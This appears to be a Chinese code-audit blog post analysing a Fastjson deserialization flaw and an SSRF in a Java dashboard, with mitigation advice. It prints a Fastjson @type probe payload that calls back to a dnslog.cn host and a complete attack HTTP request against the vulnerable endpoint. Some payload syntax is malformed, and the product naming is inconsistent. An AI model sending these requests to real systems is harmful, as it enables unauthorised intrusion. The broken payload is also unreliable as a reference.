代码审计 | Sentinel CMS 漏洞分析
字数 1244 2025-08-22 12:23:42

Sentinel CMS漏洞分析与复现指南

一、CMS简介

Sentinel CMS是一个基于Java的Web应用管理系统,本文档将详细分析其存在的两个关键漏洞:Fastjson反序列化漏洞和SSRF(服务器端请求伪造)漏洞。

二、环境搭建

1. 准备工作

  • 下载Sentinel CMS源码
  • 使用IntelliJ IDEA导入项目
  • 配置Java开发环境(JDK 1.8+)

2. 启动环境

  • 默认登录凭证:sentinel/sentinel
  • 启动后访问本地地址(通常为http://127.0.0.1:8080)

三、Fastjson漏洞分析

1. 漏洞背景

  • 系统使用了存在漏洞的Fastjson 1.2.71版本
  • Fastjson是阿里巴巴开源的Java JSON处理库
  • 该版本存在已知的反序列化漏洞(CVE-2022-25845等)

2. 漏洞定位

  • pom.xml中确认Fastjson版本
  • 全局搜索parseObject关键字
  • 定位到ClusterConfigController

3. 漏洞代码分析

// ClusterConfigController.java
// 接受payload参数直接进行JSON.parseObject操作
@PostMapping("/cluster/config/modify_single")
public Result<?> apiModifySingleConfig(@RequestParam String payload) {
    try {
        ClusterClientAssignConfig config = JSON.parseObject(payload, ClusterClientAssignConfig.class);
        // ...后续处理逻辑
    } catch (Exception e) {
        return Result.ofFail(-1, e.getMessage());
    }
}

4. 漏洞利用

  • 接口路径:/cluster/config/modify_single
  • 请求方法:POST
  • 参数名:payload

攻击Payload示例:

{
    "@type":"java.net.InetSocketAddress",
    "address":,
    "val":"xx.dnslog.cn"
}

完整HTTP请求示例:

POST /cluster/config/modify_single HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8080/
Cookie: _jspxcms=eab79fcb94a54dbb9b2e4a45f27b5d7b; sentinel_dashboard_cookie=4C92FE586248ACC2A606B96B7A77DE03
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

{"@type":"java.net.InetSocketAddress"{"address":,"val":"xx.dnslog.cn"}}

5. 漏洞验证

  • 使用DNSLog平台生成域名
  • 发送Payload后检查DNSLog是否有解析记录
  • 有记录则证明漏洞存在

四、SSRF漏洞分析

1. 漏洞位置

  • 类文件:MetricFetcher.java
  • 路径:sentinel-dashboard/src/main/java/com/alibaba/csp/sentinel/dashboard/metric/

2. 漏洞原理

  • 系统未对用户提供的URL进行严格校验
  • 攻击者可构造恶意请求访问内网服务

3. 关键代码分析

// MetricFetcher.java
public void fetchAll() {
    // 获取所有应用列表
    List<AppInfo> apps = appManagement.getBriefApps();
    
    for (AppInfo app : apps) {
        // 获取应用metric信息
        String url = "http://" + app.getIp() + ":" + app.getPort() + "/metric";
        // 发起HTTP请求
        String metricContent = fetchMetricContent(url);
        // 处理metric数据
        // ...
    }
}

4. 漏洞利用条件

  • 攻击者需要能够控制或影响AppInfo中的IP和端口信息
  • 系统未对app.getIp()app.getPort()进行有效过滤

5. 攻击场景

  1. 通过应用注册接口提交恶意IP和端口
  2. 系统向攻击者控制的服务器发起请求
  3. 利用此漏洞探测或攻击内网服务

五、修复建议

1. Fastjson漏洞修复

  • 升级Fastjson到最新安全版本(1.2.83+)
  • 或使用其他JSON库如Jackson、Gson
  • 添加JSON解析时的类型白名单

2. SSRF漏洞修复

  • 对用户输入的IP和端口进行严格校验
  • 使用正则表达式限制IP格式
  • 禁止访问内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • 实现URL白名单机制

六、总结

Sentinel CMS存在两个高危漏洞:

  1. Fastjson反序列化漏洞:可导致远程代码执行
  2. SSRF漏洞:可导致内网服务探测和攻击

开发人员应及时升级依赖库并实施输入验证,安全团队应检查系统是否存在这些漏洞并及时修复。

Sentinel CMS漏洞分析与复现指南 一、CMS简介 Sentinel CMS是一个基于Java的Web应用管理系统,本文档将详细分析其存在的两个关键漏洞:Fastjson反序列化漏洞和SSRF(服务器端请求伪造)漏洞。 二、环境搭建 1. 准备工作 下载Sentinel CMS源码 使用IntelliJ IDEA导入项目 配置Java开发环境(JDK 1.8+) 2. 启动环境 默认登录凭证: sentinel/sentinel 启动后访问本地地址(通常为http://127.0.0.1:8080) 三、Fastjson漏洞分析 1. 漏洞背景 系统使用了存在漏洞的Fastjson 1.2.71版本 Fastjson是阿里巴巴开源的Java JSON处理库 该版本存在已知的反序列化漏洞(CVE-2022-25845等) 2. 漏洞定位 在 pom.xml 中确认Fastjson版本 全局搜索 parseObject 关键字 定位到 ClusterConfigController 类 3. 漏洞代码分析 4. 漏洞利用 接口路径: /cluster/config/modify_single 请求方法:POST 参数名: payload 攻击Payload示例: 完整HTTP请求示例: 5. 漏洞验证 使用DNSLog平台生成域名 发送Payload后检查DNSLog是否有解析记录 有记录则证明漏洞存在 四、SSRF漏洞分析 1. 漏洞位置 类文件: MetricFetcher.java 路径: sentinel-dashboard/src/main/java/com/alibaba/csp/sentinel/dashboard/metric/ 2. 漏洞原理 系统未对用户提供的URL进行严格校验 攻击者可构造恶意请求访问内网服务 3. 关键代码分析 4. 漏洞利用条件 攻击者需要能够控制或影响 AppInfo 中的IP和端口信息 系统未对 app.getIp() 和 app.getPort() 进行有效过滤 5. 攻击场景 通过应用注册接口提交恶意IP和端口 系统向攻击者控制的服务器发起请求 利用此漏洞探测或攻击内网服务 五、修复建议 1. Fastjson漏洞修复 升级Fastjson到最新安全版本(1.2.83+) 或使用其他JSON库如Jackson、Gson 添加JSON解析时的类型白名单 2. SSRF漏洞修复 对用户输入的IP和端口进行严格校验 使用正则表达式限制IP格式 禁止访问内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) 实现URL白名单机制 六、总结 Sentinel CMS存在两个高危漏洞: Fastjson反序列化漏洞:可导致远程代码执行 SSRF漏洞:可导致内网服务探测和攻击 开发人员应及时升级依赖库并实施输入验证,安全团队应检查系统是否存在这些漏洞并及时修复。